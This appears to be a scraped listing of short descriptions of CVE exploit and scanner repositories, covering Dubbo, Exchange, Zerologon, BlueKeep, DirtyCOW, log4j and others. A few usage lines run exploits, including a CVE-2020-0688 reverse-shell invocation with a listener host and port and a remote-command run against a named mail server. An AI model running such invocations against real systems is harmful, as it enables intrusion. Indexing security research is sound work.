CVE-2021-25641

CVE-2021-25641 一个用于CVE-2021-25641的利用工具。 所有依赖已打包，您无需担心依赖问题 如果您有依赖，可以直接下载CVE-2021-25641.jar来运行。 适用范围： 基础 dubbo-common =2.7.3 Dubbo 2.7.0 至 2.7.8 Dubbo 2.6.0 至 2.6.9 Dubbo 所有 2.5.x 版本（官方团队已不再支持）...

lunasec

LunaTrace LunaTrace is an Open Source supply chain security and auditing tool. At its heart is a web console the tracks your projects and their dependencies, looking for vulnerabilities and other issues. This console is provided as a SAAS available here for free or you can deploy it and manage it...

CVE-2017-8759

CVE-2017-8759 漏洞检测脚本...

confluence-cve-2023-22515

confluence-cve-2023-22515 Confluence 不当访问控制：CVE-2023-22515...

exim-cve-2019-10149-data

Exim CVE 数据收集 与 Exim 漏洞 CVE-2019-10149、CVE-2019-15846、CVE-2019-16928 相关的数据收集 CVE 公告：https://vulners.com/cve/CVE-2019-10149 漏洞利用详情：https://www.exploit-db.com/exploits/46974 问题时间线：https://seclists.org/fulldisclosure/2019/Jun/16 NSA...

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 — Explotación RCE mediante Pickle Artifact en ClearML Resumen...

Laravel_CVE-2021-3129_EXP

LaravelCVE-2021-3129EXP 参考exp: https://github.com/SNCKER/CVE-2021-3129 版本要求 Laravel Iginition == 2.5.1 通过EXP的本地版本 Laravel 8.4.2 注意事项 需要将该exp放置在phpgcc目录下，否则无法调用phpgcc exmaple...

SpoolFool

SpoolFool Exploit para CVE-2022-21999 - Vulnerabilidad de Elevación de Privilegios del Print Spooler de Windows LPE Detalles El exploit proporcionado debería funcionar por defecto en todas las versiones de escritorio de Windows. Consulte la publicación del blog para obtener todos los detalles...

CVE-2026-0001

⚠️ 安全研究与法律免责声明 📌 本仓库的目的 本仓库严格仅供教育、学术及授权的网络安全研究目的 使用。 其旨在支持理解以下内容： 安全漏洞及受控环境中的利用概念 沙箱隔离机制及其局限性 安全软件设计与防御性安全实践 🚫 仅限授权使用 本仓库仅可在获得明确许可的环境中使用，例如： 个人或受控虚拟机 Docker 或隔离实验室环境 授权渗透测试 学术或网络安全培训设置 任何在授权环境之外的使用均严格禁止。 ⚖️ 不承担任何责任 本仓库的作者与贡献者不对 因使用、滥用或分发本项目或其内容而导致的任何误用、损害、损失或法律后果承担责任、负有任何义务或法律责任 。 使用本仓库即表示您确认：...

spring-shell-vuln

spring-shell-vuln Spring4Shell: Spring core RCE vulnerability Spring has Confirmed the RCE in Spring Framework. The team has just published the statement along with the mitigation guides for the issue. Now, this vulnerability can be tracked as CVE-2022-22965. Some information about the Spring4She...

PSSRoot

Programa One-Click-Root basado en CVE-2016-5195 o "DirtyCOW"; esto debería funcionar con los dispositivos PlayStation Certified, pero también puede ser útil para otros dispositivos Android antiguos; Probado en : root@kitploit: Xperia Play Android 2.3; Kernel 2.6.32.9 Xperia S Android 4.1.2; Kerne...

AutoGenerateXalanPayload

AutoGenerateXalanPayload 简介 这是一款根据cve-2022-34169漏洞延伸出的一个针对jdk xalan溢出漏洞的payload自动化生成工具。由于发现不同版本的Jdk所需要的溢出payload不同，所以这个自动化的生成工具诞生了，只需要用不同版本的JDK运行这个工程就可以生成出不同的xslt利用文件。 使用说明 复制select.bak.xslt为select.xslt，修改自己要执行的命令 然后运行java -jar...

CVE-2020-0688

CVE-2020-0688 工作利用PoC CVE-2020-0688 - 反向绑定Shell 使用Python2.7测试 安装： pip install -r requirements.txt 运行： python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

BlueKeep

用于 CVE-2019-0708 BlueKeep 漏洞的 rdpscan 这是一个用于检测 Microsoft 远程桌面中 CVE-2019-0708 漏洞的快速但粗糙的扫描器。 目前，公共互联网上约有 70 万台机器受此漏洞影响， 而约有 200 万台机器暴露了远程桌面，但已修补/可安全抵御利用。许多人预计在 未来几个月内将出现类似 WannaCry 和 notPetya 的毁灭性互联网蠕虫。 因此，请扫描你的网络并修补你的系统。此工具可让你轻松扫描网络 以发现易受攻击的机器。 要使用此工具，你可以下载一个“二进制”文件从命令行运行，也可以下载 源代码并自行编译。对于...

CVE-2026-63696

creationtimestamp| type| source ---|---|--- 2026-09-15 16:02:03+00:00| seen| https://bsky.app/profile/thehackerwire.bsky.social/post/3mvkypwzdtt2e 2026-09-15 16:09:04+00:00| seen| https://bsky.app/profile/stemshop.bsky.social/post/3mvkz4jn2hr22 2026-09-15 17:50:08+00:00| seen|...

CVE-2020-0688

python3 CVE-2020-0688.py mail.chinabaiker.com [email protected] password command...

CVE-2020-13640

このリポジトリには README がありません。...

zerologon-poc

zerologon-poc A script to exploit CVE-2020-1472 Zerologon Not my research. I just wrote a PoC based on the brilliant work of other who discovered this vuln...

inteno-exploits

IOPSYS 设备的概念验证与漏洞利用 这是一组脚本，用于利用运行 Inteno 的 IOPSYS 的设备上的各种漏洞。有关每个漏洞的更多详细信息，请参阅我的博客。 这些脚本仅在 Linux 上测试过，但也可能适用于其他操作系统。 依赖项 这些 Python 脚本需要 Python 3.6+ 和子模块 websocket-client： root@kitploit: pip install websocket-client 此外，cve-2017-17867.py 和 cve-2018-14533.py 还需要 unix 工具 smbclient，你可以使用发行版的包管理器进行安装。 用...

Get-log4j-Windows.ps1

Get-log4j-Windows.ps1 识别所有 Windows 服务器、整个域（可跨多域）中的 log4j 组件。CVE-2021-44228 可扩展至 1000+ 台 Windows 服务器，每次处理 250+ 台。1000 台服务器约需 1.5 小时。 Apache log4j CVE-2021-44228 单服务器版本： 单服务器版本 脚本运行： 导出： 描述： root@kitploit: 专为 CVE-2021-44228 制作 通过筛选条件搜索 AD 中的所有计算机对象。（适用于 Windows 服务器） 从中央服务器在远程服务器上调用 PowerShell。...